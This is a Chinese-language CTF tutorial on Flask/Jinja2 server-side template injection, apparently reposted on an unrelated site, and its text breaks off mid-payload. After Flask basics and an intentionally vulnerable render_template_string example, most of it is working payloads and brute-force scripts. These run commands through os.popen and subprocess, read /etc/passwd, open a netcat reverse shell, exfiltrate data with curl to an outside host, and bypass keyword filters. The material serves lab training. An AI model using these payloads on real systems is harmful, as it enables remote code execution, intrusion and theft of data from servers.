傲世皇朝注册
你的位置:傲世皇朝注册 > 关于傲世皇朝注册 > CTFWEB-SSTI篇
CTFWEB-SSTI篇
发布日期:2024-07-22 04:35    点击次数:75
前言:本篇文章中使用的练习靶场为SSTI LAB需自行下载搭建。前置知识我们对于flask的搭建及使用采用的是python的venv搭建python venv搭建可以把它想象成一个容器,该容器供你用来存放你的Python脚本以及安装各种Python第三方模块,容器里的环境和本机是完全分开的 (就像你在Windows主机上通过Vmware跑一台Ubuntu或者CentOs的虚拟主机一样),也就是说你在venv下通过pip安装的Python第三方模块是不会存在于你本机的环境下的。我们使用的是kali虚拟机搭建。在终端中输入python3查看当前python版本

图片

我这里是3.11,我们使用以下命令安装venvapt update //更新软件pip install python3.11-venv //安装venv这里是python3.11是因为我的python环境是3.11,根据自己环境安装对应版本安装完成后选择一个目录创建虚拟环境cd /opt //创建虚拟环境的目录,这个自己选python3 -m venv flask1 //创建一个名为flask1的虚拟目录创建成功后我们可以进入我们的虚拟环境,尝试创建一个.py文件,并写点东西cd flask1 //进入虚拟目录vim demo.py //创建文件print('hello caigo') //文件内容创建成功后在虚拟目录执行,能执行成功即可然后我们安装flask模块,如果使用的是新版本的python,它是自带的就不用安装,没有的话用以下命令安装即可pip3 install flask安装成功后使用python命令行,尝试导入模块,无报错即可import flaskFlask应用介绍Flask是一个使用python编写的轻量级web应用框架。类似于apache、nginx其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flask使用 BSD 授权。Flask的特点有: 良好的文档、丰富的插件、包含开发服务器和调试器 (debugger) 、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode。Python可直接用flask启动一个web服务页面Flask基本框架from flask import Flask //导入模块app - Flask(__name__) //类似于php的实例化对象,把flask的功能赋值给app@app.route('/caigo') //指定的路由(访问地址)def hello(): //创建一个hello函数return 'hello caigo' //执行后返回 hello caigoif __name__=='__main__': //代码从这行开始app.run(debug=True,host='0.0.0.0',port=8081) //调用app.run()创建后运行

图片

然后我们尝试访问

图片

Flask变量规则那像上面这种我们只有访问路由地址为/caigo,才有内容,就是写死了,我们还可以通过向规则参数添加变量部分,可以动态构建URLfrom flask import Flask //导入模块app - Flask(__name__) //类似于php的实例化对象,把flask的功能赋值给app@app.route('/hello/<name>') //接收访问url的值赋值给hell函数的name参数def hello(name): //创建一个hello函数return 'hello %s' %name //执行后返回 hello + name参数的值//%s 是格式化字符串@app.route('/int/<int:postID>') //指定传参类型为int(整型)def id(postID):return '%d ' %postID//%d 是格式整数@app.route('/int/<float:revNo>') //指定传参类型为float(浮点型)def id(postID):return '%f ' %revNo//%f是浮点型if __name__=='__main__': //代码从这行开始app.run(debug=True,host='0.0.0.0',port=8081) //调用app.run()Flask HTTP方法Http协议是万维网中数据通信的基础。在该协议中定义了从指定URL检索数据的不同方法GET  //以未加密的形式将数据发送到服务器。最常见的方法HEAD //和GET方法相同,但没有响应体。POST //用于将HTML表单数据发送到服务器。POST方法接收的数据不由服务器缓存PUT //用上传的内容替换目标资源的所有当前表示。DELETE  //删除由URL给出的目标资源的所有当前表示<html><body><form action = 'http://localhost:5000/login' method = 'post'><p>Enter Name:</p><p><input type = 'text' name = 'nm' /></p><p><input type = 'submit' value = 'submit' /></p></form></body></html>from flask import Flask, redirect, url_for, request, render_templateapp = Flask(__name__)@app.route('/')def index():return render_template('login.html')@app.route('/success/<name>')def success(name):return 'welcome %s' % name@app.route('/login',methods = ['POST', 'GET'])def login():if request.method == 'POST':print(1)user = request.form['nm']return redirect(url_for('success',name = user))else:print(2)user = request.args.get('nm')return redirect(url_for('success',name = user))if __name__ == '__main__':app.run(host='0.0.0.0',debug=True)创建这两个文件,注意flask render_template('login.html')包含的文件默认是在py文件的同级目录下的templates目录中,没有的话创建一个,然后运行py文件post

图片

图片

get

图片

图片

flask模板介绍在前面的实例中,视图函数的主要作用是生成请求的响应,这是最简单的请求。视图函数有两个作用:处理业务逻辑返回响应内容在大型应用中,把业务逻辑和表现内容放在一起,会增加代码的复杂度和维护成本.模板其实是一个包含响应文本的文件,其中用占位符(变量)表示动态部分,告诉模板引擎其具体的值需要从使用的数据中获取使用真实值替换变量,再返回最终得到的字符串,这个过程称为'渲染'Flask 是使用 Jinja2 这个模板引擎来渲染模板使用模板的好处视图函数只负责业务逻辑和数据处理(业务逻辑方面)而模板则取到视图函数的数据结果进行展示(视图展示方面)代码结构清晰,耦合度低模板变量代码中可以传入字符串,列表,字典到模板中from flask import Flask, render_templateapp = Flask(__name__)@app.route('/')def index():# 往模板中传入的数据my_str = 'Hello Word'my_int = 10my_array = [3, 4, 2, 1, 7, 9]my_dict = {'name': 'caigo','age': 18}return render_template('hello.html',my_str=my_str,my_int=my_int,my_array=my_array,my_dict=my_dict)if __name__ == '__main__':app.run(host='0.0.0.0',debug=True)<!DOCTYPE html><html lang='en'><head><meta charset='UTF-8'><title>Title</title></head><body>我的模板html内容<br />{{ my_str }}<br />{{ my_int }}<br />{{ my_array }}<br />{{ my_dict }}</body></html>可以看到成功渲染

图片

那么我们如果把其中一个的值改成我们可控,比如my_str改成通过get请求获取

图片

图片

可以看到一开始访问的值是none因为我们没有传值,传完值页面就发生改变我们上面的演示是用render_template来渲染一个文件flask还可以使用render_template_stringrender_template_string是用于渲染字符串,直接定义内容from flask import Flask, render_template,render_template_string,requestapp = Flask(__name__)@app.route('/')def index():# 往模板中传入的数据my_str = request.args.get('ben')my_int = request.args.get('xiao')my_array = [3, 4, 2, 1, 7, 9]my_dict = {'name': 'xiaoming','age': 18}return render_template_string('<html lang='en'><head><meta charset='UTF-8'><title>Title</title></head><body>我的模板html内容<br>%s<br>%s</body></html>' %(my_str,my_int))if __name__ == '__main__':app.run(host='0.0.0.0',debug=True)其实这里就已经存在SSTI模板注入了

图片

可以看到他对我们ben输入的值进行了运算Flask漏洞flask代码不严谨就有可能产生SSTI漏洞,造成任意文件读取和RCE远程控制后台系统。漏洞成因就像我们上面那个一样,渲染模板时,没有严格控制用户的输入我们来看一段正常的代码from flask import Flask,render_template_string,requestapp = Flask(__name__)@app.route('/',methods = ['GET'])def index():str = request.args.get('ben')html_str = '''<html><head></head><body>{{str}}</body></html>'''return render_template_string(html_str,str=str)if __name__ == '__main__':app.run(host='0.0.0.0',debug=True)我们理一下代码GET方式获取ben的值赋值给strstr值通过rendertemplatestring加载到body中间str是被包括起来的,会被预先渲染转义然后才输出,不会被渲染执行,只会获取str对应的字符串我们通常测试ssti会在可控参数传{{7*7}}之类的数据,它如果返回49那就说明它进行了运算,而不是当成字符串直接输出。显然这段代码不存在ssti,因为它的可控字符是被{{}}包起来的

图片

我们来看一段有漏洞的代码from flask import Flask,render_template_string,requestapp = Flask(__name__)@app.route('/',methods = ['GET'])def index():str = request.args.get('ben')html_str = '''<html><head></head><body>{0}</body></html>'''.format(str)return render_template_string(html_str)if __name__ == '__main__':app.run(host='0.0.0.0',debug=True)我们理一下代码str值通过format()函数填充到body中间{}里可以定义任何参数,因为这里的值是我们传入ben的值return render_template_string会把{}内的字符串当成代码指令

图片

可以看到,它进行了运算,那么这里就存在ssti漏洞因为SSTI(服务器模板注入),它不是只有flask存在,还有很多比如mako,jinja2...在不确定具体是哪种模板注入可以按照下面这张图

图片

python继承关系和魔术方法继承关系在python中存在父类和子类,子类可以调用父类下的其他子类,像下面这张图

图片

因为Python flask脚本没有办法直接执行python指令,这时候就需要我们使用python的魔术方法去触发一些能执行命令的函数魔术方法魔术方法作用__init__对象的初始化方法__class__返回对象所属的类__module__返回类所在的模块__mro__返回类的调用顺序,可以找到其父类(用于找父类)__base__获取类的直接父类(用于找父类)__bases__获取父类的元组,按它们出现的先后排序(用于找父类)__dict__返回当前类的函数、属性、全局变量等__subclasses__返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类)__globals__获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量)__import__用于导入模块,经常用于导入os模块__builtins__返回Python中的内置函数,如eval例题我们拿一道jinja2模板注入演示一下

图片

测试发现存在{{''.__class__}}    //''这个的意思就是字符串的意思,然后加上.__class__就是查看它的类

图片

.__base__//就是查看它的上级类也就是父类

图片

.__subclasses __()  //由于object已经是最上面的父类了,所以我们查看它的子类

图片

看到有很多我们寻找我们能执行命令的类比如os._wrap_close,然后它是在返回结果的第118位,所以我们在.__subclasses __()加上[117] //列表从0开始计算个数

图片

.__init __.__globals__ //初始化对象,获取能使用的模块、方法、变量

图片

['__builtins__']['eval']('__import__('os').popen('ls'). read()//返回python的eval函数,导入os模块使用popen方法执行命令,.read()//读取执行结果

图片

name={{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('ls').read()')}}ssti常用注入模块利用1.文件读取关键子类:_frozen_importlib_external.FileLoader我们可以通过脚本寻找是第几位import requestsurl = 'http://192.168.15.137:18080/flaskBasedTests/jinja2/'lei = '_frozen_importlib_external.FileLoader'for i in range(500):data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+']}}'}try:response = requests.post(url=url,data=data)if response.status_code == 200:if lei in response.text:print(i)except:pass返回79

图片

使用get_data 读取文件['get_data'](0,'/etc/passwd')

图片

2.内建函数eval执行命令关键函数:eval因为它是自建函数,很多模块里都有,所以我们还是使用脚本寻找import requestsurl = 'http://192.168.15.137:18080/flaskBasedTests/jinja2/'lei = 'eval'for i in range(500):data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__['__builtins__']}}'}try:response = requests.post(url=url,data=data)if response.status_code == 200:#print(response.text)#print(data)if lei in response.text:print(i)except:pass返回结果是很多的,我们随便挑一个:146

图片

3.os模块执行命令我们有两种方法调用os模块1.在其他函数中直接调用os模块通过config,调用osname='{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

图片

通过url_for,调用osname='{{url_for.__globals__.os.popen('id').read()}}

图片

2.就和前面一样在已经加载os模块的子类里直接调用os模块我们还是使用脚本查找import requestsurl = 'http://192.168.15.137:18080/flaskBasedTests/jinja2/'lei = 'os.py'for i in range(500):data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__}}'}try:response = requests.post(url=url,data=data)if response.status_code == 200:#print(response.text)#print(data)if lei in response.text:print(i)except:pass返回结果很多,随便选一个调用即可

图片

4.importlib类执行命令可以加载第三方库,使用load_module加载os我们通过脚本查找_frozen_importlib.BuiltinImporterimport requestsurl = 'http://192.168.15.138:18080/flaskBasedTests/jinja2/'lei = '_frozen_importlib.BuiltinImporter'for i in range(500):data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+']}}'}try:response = requests.post(url=url,data=data)if response.status_code == 200:#print(response.text)#print(data)if lei in response.text:print(i)except:pass找到后使用load_module直接加载os模块name='{{().__class__.__mro__[-1].__subclasses__()[69]['load_module']('os')['popen']('ls').read()}}

图片

5.linecache函数执行命令linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,使用我们也可以利用这个linecache函数去执行命令还是用脚本寻找import requestsurl = 'http://192.168.15.138:18080/flaskBasedTests/jinja2/'lei = 'linecache'for i in range(500):data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__}}'}try:response = requests.post(url=url,data=data)if response.status_code == 200:#print(response.text)#print(data)if lei in response.text:print(i)except:passname={{().__class__.__mro__[-1].__subclasses__()[191].__init__.__globals__.linecache.os.popen('ls').read()}}

图片

6.subprocess.Popen类执行命令从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出。错误中去,还可以得到子进程的返回值subprocess可以替代其他几个老的模块或函数,比如:os.system、os.popen等函数我们使用脚本寻找import requestsurl = 'http://192.168.15.138:18080/flaskBasedTests/jinja2/'lei = 'subprocess.Popen'for i in range(500):data={'name':'{{().__class__.__mro__[-1].__subclasses__()['+str(i)+']}}'}try:response = requests.post(url=url,data=data)if response.status_code == 200:#print(response.text)#print(data)if lei in response.text:print(i)except:pass这个使用起来略微有点不同name={{().__class__.__mro__[-1].__subclasses__()[200]('id',shell=True,stdout=-1).communicate()[0].strip()}}

图片

config获取有时候,flag可能隐藏在config文件内,无过滤的情况下{{config}}查看即可在存在过滤的情况下,可以使用flask内置函数flask内置对象flask内置函数joinerurl_for可返回url路径namespaceget_flashed_message可获取消息configlipsum可加载第三方库requestsessioncycler{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config}}无回显SSTI打开题目,执行命令无回显,只有对错判断

图片

有3种思路,第一种就是shell反弹,使用脚本跑popen,执行反弹命令,import requestsurl = 'http://192.168.15.139:18080/flasklab/level/3'lei = 'correct'for i in range(500):data={'code':'{{''.__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__['popen']('netcat xxx.xxx.xxx.xxx -e /bin/bash').read()}}'}try:response = requests.post(url=url,data=data)if response.status_code == 200:print(response.text)print(data)if lei in response.text:print(i,'------>',data)breakexcept:pass第二种,带外注入,可以直接服务器监听也可以使用dnslog就是通过``号执行命令,把结果通过url访问带出import requestsurl = 'http://192.168.15.139:18080/flasklab/level/3'lei = 'correct'for i in range(500):data={'code':'{{''.__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__['popen']('curl http://192.168.15.136/`cat /etc/passwd`').read()}}'}try:response = requests.post(url=url,data=data)if response.status_code == 200:print(response.text)print(data)if lei in response.text:print(i,'------>',data)breakexcept:pass

图片

第三种就是纯盲注常见过滤及绕过双大括号过滤看这道题,我们输入{{}},提示waf,说明过滤了{{}}

图片

我们除了{{}},还可以使用{%%},写一个if语句判断能否正常执行{%if 2>1%}caigo{%endif%}

图片

有回显,说明语句正常执行,我们改一下{%if''.__class__%}caigo{%endif%}

图片

输出caigo说明''.__class__里面有内容那我们就可以提前构造后poc语句使用脚本来跑import requestsurl = 'http://192.168.15.139:18080/flasklab/level/2'lei = 'caigo'for i in range(500):data={'code':'{%if().__class__.__mro__[-1].__subclasses__()['+str(i)+'].__init__.__globals__['popen']('cat /etc/passwd').read() %}caigo{%endif%}'}try:response = requests.post(url=url,data=data)if response.status_code == 200:#print(response.text)#print(data)if lei in response.text:print(i,'------>',data)breakexcept:pass脚本意思也很简单,对我们构造好的poc做一个if判断,有内容就返回caigo。执行脚本返回117,我们试一下

图片

说明命令成功执行,但是没有回显,其实能执行命令直接弹shell即可,我们也可以使用print输出返回内容{% print(().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()) %}

图片

中括号过滤关键:__getitem__()魔术方法getitem()是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值看这题,它过滤了[],我们使用__getitem__()替代

图片

正常我们调用是这样子code={{''.__class__.__base__.__subclasses__()[117]}},但是[]过滤了使用我们使用__getitem__()

图片

后面的poc构造就和前面没差别了code={{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('id').read()}}

图片

单双引号过滤关键:requestrequest在flask中可以访问基于HTTP请求传递的所有信息,此request并非python的函数,而是在flask内部的函数request.args.key获取get传入的key的值request.values.x1所有参数request.cookies获取cookies传入参数request.headers获取请求头请求参数request.form.key获取post传入参数request.data获取post传入参数(Content-Type:a/b)request.ison获取post传入json参数(Content-Type: application/json)使用request函数接收的值会自动当成字符串,所以可以不使用单双引号code={{().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read()}}

图片

除了get还可以使用post、cookie等下划线过滤关键:过滤器过滤器通过管道符号|与变量连接,并且在括号中可能有可选的参数flask常用过滤器length()获取一个序列或者字典的长度并将其返回int()将值转换为int类型float()将值转换为float类型lower()将字符串转换为小写upper()将字符串转换为大写reverse()反转字符串replace(value,old,new)将value中的old替换为newlist()将变量转换为列表类型string()将变量转换成字符串类型join()将一个序列中的参数值拼接成字符串,通常有python内置的dict0)配合使用attr()获取对象的属性dict()用来创建一个字典第一种,request搭配attr绕过http://192.168.15.139:18080/flasklab/level/6?class=__class__&base=__base__&sub=__subclasses__&geti=__getitem__&init=__init__&glo=__globals__&gei=__getitem__code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.geti)(117)|attr(request.args.init)|attr(request.args.glo)|attr(request.args.gei)('popen')('id')|attr('read')()}}

图片

第二种,使用attr搭配Unicode编码绕过code={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('id')|attr('read')()}}code={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('id')|attr('read')()}}第三种,使用16位编码绕过{{().__class__.__base__.__subclasses__()[199].__init__.__globals__['os']['popen']('ls').read()}}code={{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[199]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['os'].popen('ls').read()}}第四种,使用base64编码绕过code={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('id')|attr('read')()}}code={{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(117)|attr('X19pbml0X18='.decode('base64')))|attr('X19nbG9iYWxzX18='.decode('base64')))|attr('X19nZXRpdGVtX18='.decode('base64')))('popen')('id')|attr('read')()}}第五种,使用格式化字符串绕过code={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('id')|attr('read')()}}code={{()|attr('%c

上一篇:CTFWEB-RCE篇
下一篇:传统产业工人路在何方?

友情链接: